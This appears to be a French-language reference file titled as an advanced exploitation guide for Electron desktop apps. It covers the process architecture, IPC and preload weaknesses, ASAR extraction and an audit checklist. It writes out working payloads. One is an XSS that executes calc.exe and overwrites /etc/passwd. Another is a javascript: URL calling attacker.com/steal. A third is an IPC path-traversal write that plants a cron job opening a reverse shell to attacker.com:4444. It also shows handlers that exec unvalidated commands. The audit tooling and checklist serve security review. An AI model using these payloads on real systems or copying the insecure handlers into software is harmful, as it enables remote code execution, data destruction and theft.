| name | electron-security |
| description | Guide complet de sécurité Electron — XSS to RCE, IPC abuse, contextIsolation bypass, preload script vulns, CSP bypass, sandbox escape, outils |
Electron Security — Guide d'Exploitation Avancé
Références principales
1. Architecture Electron
┌──────────────────────────────────────┐
│ Main Process │
│ (Node.js full access) │
│ - IPC handler │
│ - File system │
│ - Shell execution │
└──────────┬───────────────────────────┘
│ IPC (send/on/invoke) │
┌──────────┴───────────────────────────┐
│ Renderer Process │
│ (Chromium sandbox) │
│ - web page / UI │
│ - contextIsolation / nodeIntegration│
└──────────────────────────────────────┘
2. Vecteurs d'attaque principaux
2.1 XSS dans le Renderer → RCE (si nodeIntegration: true)
new BrowserWindow({
webPreferences: {
nodeIntegration: true,
contextIsolation: false
}
})
Exploitation : XSS dans le renderer → accès complet à Node.js
<img src=x onerror="
require('child_process').execSync('calc.exe');
require('fs').writeFileSync('/etc/passwd', '');
">
2.2 ContextIsolation Bypass
Même avec contextIsolation: true, si le preload script expose des APIs dangereuses :
contextBridge.exposeInMainWorld('api', {
execute: (cmd) => ipcRenderer.invoke('run-command', cmd),
readFile: (path) => ipcRenderer.invoke('read', path),
setTitle: (title) => ipcRenderer.send('set-title', title)
})
Si le main process écoute ces canaux sans validation :
ipcMain.handle('run-command', (event, cmd) => {
exec(cmd);
})
2.3 Preload Script Vulnérabilités
contextBridge.exposeInMainWorld('config', {
getPreference: (key) => ipcRenderer.sendSync('get-pref', key)
})
2.4 Navigation à Origine Arbitraire
new BrowserWindow({
webPreferences: {
nativeWindowOpen: true
}
})
Si un XSS dans la page peut window.open('file:///etc/passwd').
2.5 Shell.openExternal
ipcMain.handle('open-external', (event, url) => {
shell.openExternal(url)
})
Exploitation :
api.openExternal('file:///C:/Users/Admin/AppData/Roaming/something')
api.openExternal('javascript:fetch("http://attacker.com/steal")')
3. Énumération Electron
3.1 Identifier une app Electron
ps aux | grep electron
ls -la /opt/ | grep -i electron
tasklist | findstr electron
3.2 Extraction des sources ASAR
npm install -g @electron/asar
asar extract app.asar app_source/
ls -la app_source/
cat app_source/main.js
cat app_source/preload.js
3.3 Activer DevTools à distance
4. Payloads d'exploitation
4.1 RCE via IPC Injection
ipcRenderer.invoke('save-file', {
path: '/tmp/../../../etc/cron.d/revshell',
content: '*/1 * * * * root bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"\n'
})
4.2 RCE via Protocol Handler
protocol.registerFileProtocol('myapp', (request, callback) => {
callback({path: request.url.replace('myapp://', '')})
})
4.3 Sandbox Escape via Chromium vuln
4.4 CSP Bypass via Electron-specific
<iframe src="file:///etc/passwd">
5. Outils
npm install -g @doyensec/electronegativity
eg check /path/to/electron/app
asar list app.asar
asar extract app.asar dest/
Analyse de sécurité
eg check /opt/target-app/resources/app.asar \
--output results.json \
--severity critical,high,medium
grep -r "nodeIntegration" main.js
grep -r "contextIsolation" main.js
grep -r "ipcMain" main.js
grep -r "contextBridge" preload.js
grep -r "shell.openExternal" main.js
grep -r "protocol.register" main.js
6. Checklist
CONFIGURATION
☐ nodeIntegration: true ? → XSS to RCE
☐ contextIsolation: false ? → prototype pollution & bypass
☐ sandbox: false ? → sandbox escape possible
☐ nativeWindowOpen: true ? → navigation to file://
☐ webviewTag: true ? → webview exploitation
☐ allowRunningInsecureContent: true ? → mixed content
PRELOAD
☐ contextBridge.exposeInMainWorld → quoi d'exposé ?
☐ ipcRenderer.send/invoke → quels canaux ?
☐ ipcRenderer.on → écoute des messages main → renderer ?
☐ Validation des messages IPC côté main ?
MAIN PROCESS
☐ ipcMain.handle(/on) → validation des arguments ?
☐ shell.openExternal / openPath → URLs non validées ?
☐ exec/spawn dans les handlers IPC ?
☐ protocol.registerFileProtocol → path traversal ?
☐ Menu items / shortcuts → RCE via eval ?
EXPLOITATION
☐ XSS dans le renderer → quel impact ?
☐ RCE via IPC abuse ?
☐ Path traversal via file protocol ?
☐ Vol de tokens / cookies / localStorage ?
☐ Élévation de privilèges système ?
☐ Persistance via auto-updater ?